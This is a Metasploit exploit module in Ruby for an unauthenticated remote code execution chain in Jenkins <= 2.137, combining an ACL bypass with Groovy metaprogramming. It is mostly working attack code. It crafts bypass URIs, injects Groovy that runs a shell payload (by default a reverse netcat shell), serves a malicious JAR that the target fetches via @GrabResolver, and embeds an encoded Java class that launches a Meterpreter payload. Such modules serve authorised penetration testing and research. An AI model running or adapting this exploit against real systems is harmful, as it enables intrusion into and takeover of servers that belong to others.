325 lines
9.6 KiB
Ruby
325 lines
9.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Jenkins dynamic routing to
|
|
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
|
|
download and execute a malicious JAR file.
|
|
|
|
When the "Java Dropper" target is selected, the original entry point
|
|
based on classLoader.parseClass is used, which requires the use of
|
|
Groovy metaprogramming to achieve RCE.
|
|
|
|
When the "Unix In-Memory" target is selected, a newer, higher-level,
|
|
and more universal entry point based on GroovyShell.parse is used.
|
|
This permits the use of in-memory arbitrary command execution.
|
|
|
|
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
|
|
on later versions of Jenkins.
|
|
|
|
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
|
|
},
|
|
'Author' => [
|
|
'Orange Tsai', # (@orange_8361) Discovery and PoC
|
|
'Mikhail Egorov', # (@0ang3el) Discovery and PoC
|
|
'George Noseevich', # (@webpentest) Discovery and PoC
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2018-1000861'], # Orange Tsai
|
|
['CVE', '2019-1003000'], # Script Security
|
|
['CVE', '2019-1003001'], # Pipeline: Groovy
|
|
['CVE', '2019-1003002'], # Pipeline: Declarative
|
|
['CVE', '2019-1003005'], # Mikhail Egorov
|
|
['CVE', '2019-1003029'], # George Noseevich
|
|
['EDB', '46427'],
|
|
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
|
|
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
|
|
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
|
|
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'],
|
|
['URL', 'https://twitter.com/orange_8361/status/1126829648552312832'],
|
|
['URL', 'https://github.com/orangetw/awesome-jenkins-rce-2019']
|
|
],
|
|
'DisclosureDate' => '2019-01-08', # Public disclosure
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'java'],
|
|
'Arch' => [ARCH_CMD, ARCH_JAVA],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
['Unix In-Memory',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Version' => Rex::Version.new('2.137'),
|
|
'Type' => :unix_memory,
|
|
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
|
|
],
|
|
['Java Dropper',
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
'Version' => Rex::Version.new('2.137'),
|
|
'Type' => :java_dropper,
|
|
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
},
|
|
'Stance' => Stance::Aggressive
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
|
|
])
|
|
deregister_options('URIPATH')
|
|
end
|
|
|
|
=begin
|
|
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
|
|
=end
|
|
def check
|
|
checkcode = CheckCode::Safe
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => go_go_gadget1('/search/index'),
|
|
'vars_get' => {'q' => 'a'}
|
|
)
|
|
|
|
unless res && (version = res.headers['X-Jenkins'])
|
|
vprint_error('Jenkins version not detected')
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
vprint_status("Jenkins #{version} detected")
|
|
checkcode = CheckCode::Detected
|
|
|
|
if Rex::Version.new(version) > target['Version']
|
|
vprint_error("Jenkins #{version} is not a supported target")
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
vprint_good("Jenkins #{version} is a supported target")
|
|
checkcode = CheckCode::Appears
|
|
|
|
if res.body.include?('Administrator')
|
|
vprint_good('ACL bypass successful')
|
|
checkcode = CheckCode::Vulnerable
|
|
else
|
|
vprint_error('ACL bypass unsuccessful')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
checkcode
|
|
end
|
|
|
|
def exploit
|
|
print_status("Configuring #{target.name} target")
|
|
|
|
vars_get = {'value' => go_go_gadget2}
|
|
|
|
case target['Type']
|
|
when :unix_memory
|
|
vars_get = {'sandbox' => true}.merge(vars_get)
|
|
when :java_dropper
|
|
# NOTE: Ivy is using HTTP unconditionally, so we can't use HTTPS
|
|
# HACK: Both HttpClient and HttpServer use datastore['SSL']
|
|
ssl = datastore['SSL']
|
|
datastore['SSL'] = false
|
|
start_service('Path' => '/')
|
|
datastore['SSL'] = ssl
|
|
end
|
|
|
|
print_status('Sending Jenkins and Groovy go-go-gadgets')
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => go_go_gadget1,
|
|
'vars_get' => vars_get
|
|
)
|
|
end
|
|
|
|
#
|
|
# Exploit methods
|
|
#
|
|
|
|
=begin
|
|
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
|
|
?apiUrl=http://169.254.169.254/%23
|
|
&login=orange
|
|
&password=tsai
|
|
=end
|
|
def go_go_gadget1(custom_uri = nil)
|
|
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
|
|
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
|
|
|
|
return normalize_uri(acl_bypass, custom_uri) if custom_uri
|
|
|
|
rce_base = normalize_uri(acl_bypass, 'descriptorByName')
|
|
|
|
rce_uri =
|
|
case target['Type']
|
|
when :unix_memory
|
|
'/org.jenkinsci.plugins.' \
|
|
'scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
|
|
when :java_dropper
|
|
'/org.jenkinsci.plugins.' \
|
|
'workflow.cps.CpsFlowDefinition/checkScriptCompile'
|
|
end
|
|
|
|
normalize_uri(rce_base, rce_uri)
|
|
end
|
|
|
|
=begin
|
|
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
|
|
?value=
|
|
@GrabConfig(disableChecksums=true)%0a
|
|
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
|
|
@Grab(group='tw.orange', module='poc', version='1')%0a
|
|
import Orange;
|
|
=end
|
|
def go_go_gadget2
|
|
case target['Type']
|
|
when :unix_memory
|
|
payload_escaped = payload.encoded.gsub("'", "\\'")
|
|
|
|
<<~EOF.strip
|
|
class #{app} {
|
|
#{app}() {
|
|
['sh', '-c', '#{payload_escaped}'].execute()
|
|
}
|
|
}
|
|
EOF
|
|
when :java_dropper
|
|
<<~EOF.strip
|
|
@GrabConfig(disableChecksums=true)
|
|
@GrabResolver('http://#{srvhost_addr}:#{srvport}')
|
|
@Grab('#{vendor}:#{app}:#{version}')
|
|
import #{app}
|
|
EOF
|
|
end
|
|
end
|
|
|
|
#
|
|
# Payload methods
|
|
#
|
|
|
|
#
|
|
# If you deviate from the following sequence, you will suffer!
|
|
#
|
|
# HEAD /path/to/pom.xml -> 404
|
|
# HEAD /path/to/payload.jar -> 200
|
|
# GET /path/to/payload.jar -> 200
|
|
#
|
|
def on_request_uri(cli, request)
|
|
vprint_status("#{request.method} #{request.uri} requested")
|
|
|
|
unless %w[HEAD GET].include?(request.method)
|
|
vprint_error("Ignoring #{request.method} request")
|
|
return
|
|
end
|
|
|
|
if request.method == 'HEAD'
|
|
if request.uri != payload_uri
|
|
vprint_error('Sending 404')
|
|
return send_not_found(cli)
|
|
end
|
|
|
|
vprint_good('Sending 200')
|
|
return send_response(cli, '')
|
|
end
|
|
|
|
if request.uri != payload_uri
|
|
vprint_error('Sending bogus file')
|
|
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
|
|
end
|
|
|
|
vprint_good('Sending payload JAR')
|
|
send_response(
|
|
cli,
|
|
payload_jar,
|
|
'Content-Type' => 'application/java-archive'
|
|
)
|
|
|
|
# XXX: $HOME may not work in some cases
|
|
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
|
|
end
|
|
|
|
def payload_jar
|
|
jar = payload.encoded_jar
|
|
|
|
jar.add_file("#{app}.class", constructor_class)
|
|
jar.add_file(
|
|
'META-INF/services/org.codehaus.groovy.plugins.Runners',
|
|
"#{app}\n"
|
|
)
|
|
|
|
jar.pack
|
|
end
|
|
|
|
=begin javac Metasploit.java
|
|
import metasploit.Payload;
|
|
|
|
public class Metasploit {
|
|
public Metasploit(){
|
|
try {
|
|
Payload.main(null);
|
|
} catch (Exception e) { }
|
|
|
|
}
|
|
}
|
|
=end
|
|
def constructor_class
|
|
klass = Rex::Text.decode_base64(
|
|
<<~EOF
|
|
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN
|
|
U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u
|
|
AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB
|
|
AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA
|
|
AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB
|
|
BwALAAAA
|
|
EOF
|
|
)
|
|
|
|
# Replace length-prefixed string "Metasploit" with a random one
|
|
klass.sub("\x00\x0aMetasploit", "#{[app.length].pack('n')}#{app}")
|
|
end
|
|
|
|
#
|
|
# Utility methods
|
|
#
|
|
|
|
def payload_uri
|
|
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
|
|
end
|
|
|
|
def vendor
|
|
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
|
|
end
|
|
|
|
def app
|
|
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
|
|
end
|
|
|
|
def version
|
|
@version ||= Faker::App.semantic_version
|
|
end
|
|
|
|
end
|